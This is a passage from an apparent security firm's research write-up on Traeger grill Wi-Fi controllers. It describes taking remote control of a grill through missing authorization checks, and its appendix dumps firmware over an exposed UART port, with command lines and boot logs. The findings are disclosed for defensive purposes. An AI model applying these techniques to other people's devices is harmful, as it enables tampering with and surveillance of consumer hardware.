EEbg+QGneXe3Xp/Ti7Q66Vb5\nNNaJQrufWzIzbtvWLJpyHAVLw3Mrg9sp6Ity9snpJYy220U3IYUcrUu/H0nOfz//\nY0mez7kPTBbN/Iiq74L30+dhg1sRN8TLfZpgnQoaSSH3/Nj/mPALE/d57q2BPrym\n8KrqyIhtF7SI55FqrMGgS42R5TRJaiRn0wnDll41e/gNc8oLFicSYuhh2QegiYTN\nAQ9CeMBf3bKFIVkl6eTwd0qNyJClm8uKBhzChpOk9zOYWYwHhwnR44ny5SOmrD/+\nVz9wN4QqaKwOOhcObYJ5qqXReA==\n-----END CERTIFICATE-----\n"}

Following this, Bishop Fox staff observed that the consultant’s grill was now registered in their Traeger app, and it appeared that Bishop Fox staff could now send commands to it. To confirm, Bishop Fox staff issued a command to shut down the grill.

FIGURE 9 - Grill successfully received command and entering the shutdown cycle

As shown above, the grill successfully received the command and entered the shutdown cycle. Despite being able to wake the grill from its standby state, adjust the temperature, and issue other grill commands, Bishop Fox was unable to identify a means to ignite the grill remotely. However, as demonstrated above, the lack of authorization controls could be used to antagonize Traeger grill owners by setting the temperature to the maximum of 500 degrees Fahrenheit for the remainder of a cooking cycle, ruining food that was being cooked unattended.

Conclusion

The growing prevalence of IoT devices such as the grill has introduced new security challenges, making comprehensive product security reviews crucial for safeguarding connected environments. This research not only demonstrates Bishop Fox’s commitment to protecting these IoT devices from emerging threats, but also reinforces our comprehensive service offerings, which include thorough product security reviews.

For additional details, we recommend:

Appendix

As part of our exploration of the Trager Grill Wi-Fi Controller, we found two vulnerabilities that are deemed informational in severity risk. Details of these vulnerabilities can be found below.

Unencrypted Firmware

After forcing the ESP32 device on the Traeger system into download mode, as discussed in Appendix A of this report, Bishop Fox staff successfully downloaded the firmware using a serial connection. After downloading the firmware, the team observed that the firmware was unencrypted, making the process of reverse engineering the firmware easier.

Vulnerability Details

Vulnerability Type: Unencrypted Firmware

Access Vector: ☐ Remote, ☐ Local, ☒ Physical, ☐ Context dependent, ☐ Other (if other, please specify)

Impact: ☐ Code execution, ☐ Denial of service, ☐ Escalation of privileges, ☒ Information disclosure, ☐ Other (if other, please specify)

Security Risk: ☐ Critical, ☐ High, ☐ Medium, ☐ Low, ☒ Informational

Vulnerability: CWE-311

CVSS Base Score: 2.4

CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

To demonstrate this, Bishop Fox staff used the Linux strings command to show some of the unencrypted text within the firmware:

% cat flash_contents.bin | strings | grep git
/home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/include/rom/uart.h
/home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/cpu_start.c
/home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/clk.c
/home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/crosscore_int.c
/home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/ipc.c
/home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/intr_alloc.c
/home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/esp_timer.c
/home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/dport_access.c
/home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/brownout.c

As shown above, unencrypted strings were recovered from the firmware which also exposed an rsmith user account and references to a git repository. As such, an attacker could leverage this to recover the unencrypted firmware and gain a more intimate understanding of the device.

Exposed Debug Ports

During a review of the embedded Traeger Wi-Fi controller Printed Circuit Board (PCB), Bishop Fox staff noticed an exposed 10-pin interface which was used for UART connections. The exposed debug interface allowed the team to connect to and debug the device via UART.

Vulnerability Details

Vulnerability Type: Exposed Debug Ports

Access Vector: ☐ Remote, ☐ Local, ☒ Physical, ☐ Context dependent, ☐ Other (if other, please specify)

Impact: ☐ Code execution, ☐ Denial of service, ☐ Escalation of privileges, ☒ Information disclosure, ☐ Other (if other, please specify)

Security Risk: ☐ Critical, ☐ High, ☐ Medium, ☐ Low, ☒ Informational

Vulnerability: CWE-1191

CVSS Base Score: 2.4

CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Specifically, Bishop Fox staff identified the following 10-pin interface on the board:

10-pin UART interface on Traeger board
FIGURE 6 - 10-pin UART interface on Traeger board

After testing for continuity between the ESP32 and this interface, Bishop Fox staff confirmed that this interface was responsible for making UART connections to the device.

Subsequently, Bishop Fox staff made the appropriate hardware connections by connecting the Transmit ESP32 UART pin to the Receive UART pin of the Attify badge and the Receive ESP32 UART pin to the Transmit UART pin of the Attify badge.

UART connections to Attify Badge
FIGURE 7 - UART connections to Attify Badge

Next, Bishop Fox staff monitored the serial connection using picocom and observed the following output from the device after booting it:

% sudo ~/Tools/picocom/picocom -b 115200 /dev/cu.usbserial-2
picocom v3.2a
…omitted for brevity…
Terminal ready
ets Jul 29 2019 12:21:46


rst:0x1 (POWERON_RESET),boot:0x17 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0018,len:4
load:0x3fff001c,len:5736
load:0x40078000,len:7916
load:0x40080000,len:5908
entry 0x40080314
I (29) boot: ESP-IDF v3.1.3-51-g39c6b2f90 2nd stage bootloader
I (29) boot: compile time 12:02:40
I (30) boot: Enabling RNG early entropy source...
I (35) boot: SPI Speed : 40MHz
I (39) boot: SPI Mode : DIO
I (43) boot: SPI Flash Size : 4MB
I (47) boot: Partition Table:
I (51) boot: ## Label Usage Type ST Offset Length
I (58) boot: 0 nvs WiFi data 01 02 00009000 00010000
I (66) boot: 1 otadata OTA data 01 00 00019000 00002000
I (73) boot: 2 factory factory app 00 00 00020000 00100000
I (80) boot: 3 ota_0 OTA app 00 10 00120000 00100000
I (88) boot: 4 ota_1 OTA app 00 11 00220000 00100000
I (95) boot: 5 storage Unknown data 01 82 00320000 000e0000
I (103) boot: End of partition table
I (107) esp_image: segment 0: paddr=0x00120020 vaddr=0x3f400020 size=0x2dee4 (188132) map
I (181) esp_image: segment 1: paddr=0x0014df0c vaddr=0x3ffb0000 size=0x02104 ( 8452) load
I (185) esp_image: segment 2: paddr=0x00150018 vaddr=0x400d0018 size=0xb4448 (738376) map
I (444) esp_image: segment 3: paddr=0x00204468 vaddr=0x3ffb2104 size=0x04714 ( 18196) load
I (451) esp_image: segment 4: paddr=0x00208b84 vaddr=0x40080000 size=0x00400 ( 1024) load
I (452) esp_image: segment 5: paddr=0x00208f8c vaddr=0x40080400 size=0x11714 ( 71444) load
I (499) boot: Loaded app from partition at offset 0x120000
I (499) boot: Disabling RNG early entropy source...
I (500) cpu_start: Pro cpu up.
I (503) cpu_start: Starting app cpu, entry point is 0x40081128
I (0) cpu_start: App cpu up.
I (514) heap_init: Initializing. RAM available for dynamic allocation:
I (521) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM
I (527) heap_init: At 3FFD0C30 len 0000F3D0 (60 KiB): DRAM
I (533) heap_init: At 3FFE0440 len 00003BC0 (14 KiB): D/IRAM
I (539) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (545) heap_init: At 40091B14 len 0000E4EC (57 KiB): IRAM
I (552) cpu_start: Pro cpu start user code
I (234) cpu_start: Starting scheduler on PRO CPU.
…omitted for brevity…

As shown above, the UART connection was made successfully, and the device boot logs were displayed to the screen. Moreover, the device could be forced into a download state by connecting the GPIO pin of the device to ground, which ultimately allowed Bishop Fox staff to recover the firmware of the device. An attacker could leverage this exposed debug interface to recover the firmware and gather more information about the device.

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.


Nick Cerne Headshot

About the author, Nick Cerne

Security Consultant III

Nicholas Cerne is a Security Consultant III at Bishop Fox, specializing in application penetration testing, hybrid application assessments, and cloud environment testing. He also enjoys conducting IoT security research as a hobby. Nicholas holds the Offensive Security Certified Professional (OSCP), Offensive Security Web Expert (OSWE), and Security+ certifications.

He graduated with a B.S. in Cybersecurity from Virginia Tech, where he formerly served as president of the university's Cybersecurity Club.

More by Nick

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.